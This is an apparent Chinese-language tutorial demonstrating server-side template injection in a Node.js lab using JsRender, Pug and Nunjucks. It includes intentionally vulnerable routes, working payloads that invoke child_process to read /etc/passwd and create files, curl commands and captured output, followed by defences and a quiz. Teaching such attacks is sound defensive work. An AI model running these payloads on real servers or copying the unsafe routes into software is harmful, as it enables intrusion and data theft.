模板引擎被廣泛應用於動態生成 HTML 頁面。然而,如果模板引擎未能妥善處理使用者輸入,將會產生嚴重的安全風險,這就是所謂的 SSTI (Server-Side Template Injection,伺服器端模板注入)。攻擊者可以利用這類漏洞,透過注入惡意模板指令來控制伺服器端程式,進而造成資料洩漏或系統破壞。
本篇文章將介紹如何在 Node.js 環境中模擬三種常見模板引擎中的 SSTI 漏洞,並透過範例展示其攻擊效果,最後討論相應的防範措施。
SSTI (伺服器端模板注入) 是一種應用程式漏洞,當應用程式未妥善處理輸入,並將其直接嵌入到模板引擎中進行渲染時,攻擊者可以插入惡意的模板指令,進而執行未經授權的操作。
SSTI 攻擊的嚴重性在於,攻擊者可能取得系統資訊、執行任意程式碼,甚至取得伺服器控制權。
除了 JsRender、Pug 和 Nunjucks,Node.js 還支援 EJS (Embedded JavaScript Templates)、Handlebars、Mustache、Dot.js (DoT) 等模板引擎,其中 Handlebars 也曾有過重大 SSTI 問題。
在這次的實作中,將透過三種常見的模板引擎:JsRender、Pug 和 Nunjucks,來模擬伺服器端模板注入 (SSTI) 的風險。
在 package.json
中新增了以下三個模板引擎的依賴:
"jsrender": "^1.0.0",
"pug": "^3.0.2",
"nunjucks": "^3.2.3"
這些模板引擎將用來處理使用者提交的模板,並渲染出結果。
我們為每個模板引擎都設定了對應的測試頁面,分別是:
/ssti/JsRender-demo
)/ssti/PugJS-demo
)/ssti/Nunjucks-demo
)這些測試頁面允許使用者提交模板語法,並將其發送到伺服器進行渲染。
使用者可以查看不同模板引擎如何處理輸入並回傳結果。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JsRender SSTI Demo</title>
</head>
<body>
<h1>JsRender SSTI 測試</h1>
<form method="POST" action="/ssti/JsRender-demo">
<label for="payload">輸入範例 (如:{{:7*7}}):</label><br>
<input type="text" id="payload" name="payload" placeholder="test">
<button type="submit">提交</button>
</form>
<p>結果: </p>
</body>
</html>
這段 HTML 表單允許使用者輸入模板語法,並透過 POST 請求將其發送至伺服器的 /ssti/JsRender-demo
路由。嘗試輸入 {{:7*7}}
若有成功解析成 49 就有 SSTI 的風險。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PugJS SSTI Demo</title>
</head>
<body>
<h1>PugJS SSTI 測試</h1>
<form method="POST" action="/ssti/PugJS-demo">
<label for="template">輸入範例 (如:#{7*7}):</label><br>
<input type="text" id="template" name="template" placeholder="#{7*7}">
<button type="submit">提交</button>
</form>
<p>結果: </p>
</body>
</html>
這個表單專為 PugJS 設計,當使用者輸入如 #{7*7}
這樣的 Pug 語法進行測試,並將結果發送至 /ssti/PugJS-demo
路由。若結果為 49 可能也會有 SSTI 的風險。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Nunjucks SSTI Demo</title>
</head>
<body>
<h1>Nunjucks SSTI 測試</h1>
<form method="POST" action="/ssti/Nunjucks-demo">
<label for="template">輸入範例 (如:{{7*7}}):</label><br>
<input type="text" id="template" name="template" placeholder="{{7*7}}">
<button type="submit">提交</button>
</form>
<p>結果: </p>
</body>
</html>
這個表單針對 Nunjucks 模板引擎,使用者可以輸入如 {{7*7}}
的模板語法,並透過 /ssti/Nunjucks-demo
路由提交。
這三個模板引擎測試頁面均設計為可以簡單輸入模板語法,並將其提交給伺服器進行處理,隨後回傳渲染結果。
這些範例展示了如何進行 SSTI (Server-Side Template Injection) 測試,幫助我們檢測模板引擎是否存在漏洞。
每個模板引擎都有自己的路由來處理使用者提交的模板,並將模板渲染結果回傳給使用者。在這些實作中,我們需要注意防範 SSTI(伺服器端模板注入)漏洞,因為未經過濾的使用者輸入可能導致攻擊者執行惡意程式碼。
以下是針對 JsRender、Pug 和 Nunjucks 的伺服器端處理邏輯。
router.post('/jsRender-demo', (req, res) => {
const userInput = req.body.payload;
try {
// 使用 JsRender 將使用者輸入的模板進行渲染
const tmpl = jsrender.templates(userInput);
const output = tmpl.render(); // 渲染模板
res.send(`結果: ${output}`);
} catch (error) {
res.send(`錯誤: ${error.message}`);
}
});
這段程式碼將使用者的模板輸入交給 JsRender 進行渲染。如果輸入包含合法模板語法,伺服器將成功渲染並回傳結果。
若遇到渲染錯誤(如模板語法錯誤或潛在的注入攻擊),則會取得異常並回傳錯誤訊息。
router.post('/PugJS-demo', (req, res) => {
const userInput = req.body.template;
try {
// 使用 Pug 將使用者輸入的模板進行編譯並渲染
const template = pug.compile(userInput); // 編譯 Pug 模板
const output = template(); // 渲染模板
res.send(`結果: ${output}`);
} catch (error) {
res.send(`錯誤: ${error.message}`);
}
});
在 PugJS 的處理邏輯中,使用 pug.compile
方法將使用者提交的模板語法進行編譯,並透過渲染函數輸出結果。與 JsRender 相似,這段程式碼同樣會在模板語法出錯或潛在攻擊時回傳錯誤訊息。
router.post('/Nunjucks-demo', (req, res) => {
const userInput = req.body.template;
try {
// 使用 Nunjucks 渲染使用者輸入的模板
const output = nunjucks.renderString(userInput); // 直接渲染模板
res.send(`結果: ${output}`);
} catch (error) {
res.send(`錯誤: ${error.message}`);
}
});
在 Nunjucks 的例子中,伺服器端使用 nunjucks.renderString
直接渲染來自使用者的模板語法。
如果模板語法正確,會將渲染結果回傳給使用者;若有錯誤,則會取得並回傳錯誤訊息。
接下來,我們將展示如何在三個不同的模板引擎中,透過合法的模板語法和惡意的注入進行測試,來探討 SSTI (Server-Side Template Injection) 漏洞的威脅。
curl
發送請求curl -X POST http://nodelab.feifei.tw/ssti/JsRender-demo -H "Content-Type: application/json" -d "{\"payload\":\"{{:7*7}}\"}"
預期的結果是:
結果: 49
curl -X POST http://nodelab.feifei.tw/ssti/PugJS-demo -H "Content-Type: application/json" -d "{\"template\":\"#{7*7}\"}"
預期的結果是:
結果: <49></49>
curl -X POST http://nodelab.feifei.tw/ssti/Nunjucks-demo -H "Content-Type: application/json" -d "{\"template\":\"{{7*7}}\"}"
結果: 49
以上三個都跟預期結果吻合,表示伺服器可能有 SSTI 風險,因為後端處理了使用者輸入,並回傳解析的結果。
我們將進一步展示如何透過 JsRender 模板引擎進行指令注入攻擊。以下範例展示了攻擊者如何透過惡意模板指令來讀取伺服器中的 /etc/passwd
檔案(系統使用者列表),這是典型的惡意操作,目的是取得敏感資料。
測試 URL:
http://nodelab.feifei.tw/ssti/JsRender-demo
攻擊指令:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
這段程式碼試圖在伺服器端執行 cat /etc/passwd
,以讀取伺服器的使用者資訊檔案。
攻擊成功後的結果:
結果: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash
成功的攻擊過程:
在這次測試中,我們將演示如何通過 PugJS 模板引擎利用 SSTI (Server-Side Template Injection) 漏洞,執行惡意指令來建立一個檔案,從而在伺服器上證明攻擊成功。
測試 URL:
http://nodelab.feifei.tw/ssti/PugJS-demo
攻擊指令:
curl -X POST http://nodelab.feifei.tw/ssti/PugJS-demo -H "Content-Type: application/json" -d "{\"template\":\"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('child_process').exec('touch /tmp/pwned.txt')}()}\"}"
這段惡意的 PugJS 模板語法利用了伺服器的 child_process 模組來執行指令。具體來說,它建立了一個名為 pwned.txt
的檔案,證明攻擊者已經能夠在伺服器端執行指令。
global.process.mainModule.constructor._load
:這一語句試圖動態載入 child_process 模組,用於在伺服器上執行指令。exec('touch /tmp/pwned.txt')
:這個指令在 /tmp
資料夾下建立了一個名為 pwned.txt
的檔案。發送請求後,攻擊成功,PugJS 模板引擎在伺服器上執行了我們的指令。接下來,我們進入 Docker 容器檢查是否成功建立了檔案。
/tmp
資料夾後,可以看到 pwned.txt
檔案已經被建立:root@localhost:~/nodejs_lab# docker exec -it nodejs_lab_app_1 /bin/bash
root@09feb60865bd:/usr/src/app# cd /tmp
root@09feb60865bd:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Oct 1 15:15 .
drwxr-xr-x 1 root root 4096 Oct 1 14:05 ..
-rw-r--r-- 1 root root 0 Oct 1 15:15 pwned.txt
drwxr-xr-x 3 root root 4096 Apr 12 2023 v8-compile-cache-0
如上所示,pwned.txt
檔案已經成功建立,這證明了我們的攻擊有效。這也顯示了 PugJS 模板引擎中未經過濾的使用者輸入如何被利用來執行惡意指令。
成功的攻擊過程:
針對 Nunjucks 模板引擎,我們可以進行類似的攻擊。以下範例展示如何透過模板注入指令,讀取伺服器 /etc/passwd
檔案的最後幾行。
測試 URL:
http://nodelab.feifei.tw/ssti/Nunjucks-demo
攻擊指令:
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
這段程式碼使用 tail
指令讀取 /etc/passwd
檔案的結尾部分。
成功攻擊的結果:
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash
成功的攻擊過程:
這些範例展示了 SSTI (Server-Side Template Injection) 的危險性,尤其是在 JsRender 和 Nunjucks 這樣的模板引擎中,攻擊者可以利用模板注入來執行惡意系統指令,從而存取敏感資料甚至完全控制伺服器。
為了防止這類攻擊,我們必須採取以下防禦措施:
autoescape
為 true
。這篇文章詳細介紹了如何利用 SSTI 漏洞進行攻擊,並展示了 JsRender 和 Nunjucks 的模板注入範例。我們了解了這類攻擊的危害性,以及如何透過適當的安全措施來防範模板注入攻擊。在實際開發中,對使用者輸入進行嚴格的驗證和安全管理至關重要,以保護伺服器免受惡意攻擊。
什麼是 SSTI?
A) 一種伺服器端模板引擎
B) 伺服器端的模板注入漏洞
C) 一種跨站腳本攻擊
D) 一個模板渲染工具
答案:B
解析:SSTI (Server-Side Template Injection) 是一種安全漏洞,當應用程式未對模板引擎的輸入進行適當處理時,攻擊者可以注入惡意的模板語法,使其在伺服器端執行不受信任的程式碼,進而控制伺服器或取得敏感資訊。
在以下哪種情況下容易發生 SSTI?
A) 應用程式將使用者輸入直接傳遞給模板引擎
B) 應用程式沒有接受外部輸入
C) 模板引擎使用了自動轉義功能
D) 所有輸入都經過過濾
答案:A
解析:當應用程式將使用者輸入直接傳遞給模板引擎進行渲染,而未對輸入進行適當的驗證或過濾時,會增加 SSTI 攻擊的風險。自動轉義和輸入過濾能有效降低該風險。
哪個選項能有效防範 SSTI?
A) 禁止所有使用者輸入
B) 使用模板引擎的自動轉義功能
C) 完全避免使用模板引擎
D) 在伺服器上執行模板渲染
答案:B
解析:模板引擎的自動轉義功能(如 Nunjucks 的 autoescape
)可以有效防止惡意程式碼在模板渲染過程中被執行,從而避免 SSTI 攻擊。完全禁止使用者輸入並非實際可行的解決方案,而模板引擎仍是動態內容生成的常用工具。
哪個模板引擎容易受到 SSTI 攻擊?
A) Nunjucks
B) JsRender
C) Pug
D) 以上皆是
答案:D
解析:所有模板引擎,如果未正確處理輸入,均可能成為 SSTI 攻擊的目標。這些模板引擎會根據使用者的輸入進行動態渲染,當輸入未經過濾,可能導致惡意程式碼被執行。
如何防止模板注入攻擊?
A) 僅允許靜態 HTML 模板
B) 採用最小權限原則,限制模板渲染權限
C) 在每個渲染之前對輸入進行過濾
D) 以上皆是
答案:D
解析:防止模板注入攻擊的最佳策略是多重防護。應用程式應該嚴格限制使用者輸入,並進行輸入過濾和驗證。同時,應用最小權限原則,限制模板引擎執行的權限,並根據需求限制功能範圍。
package.json
中安裝 jsrender
、pug
、nunjucks
。/ssti/JsRender-demo
/ssti/PugJS-demo
/ssti/Nunjucks-demo
curl
發送模板語法:
{{:7*7}}
#{7*7}
{{7*7}}
/etc/passwd
/tmp/pwned.txt
/etc/passwd
結尾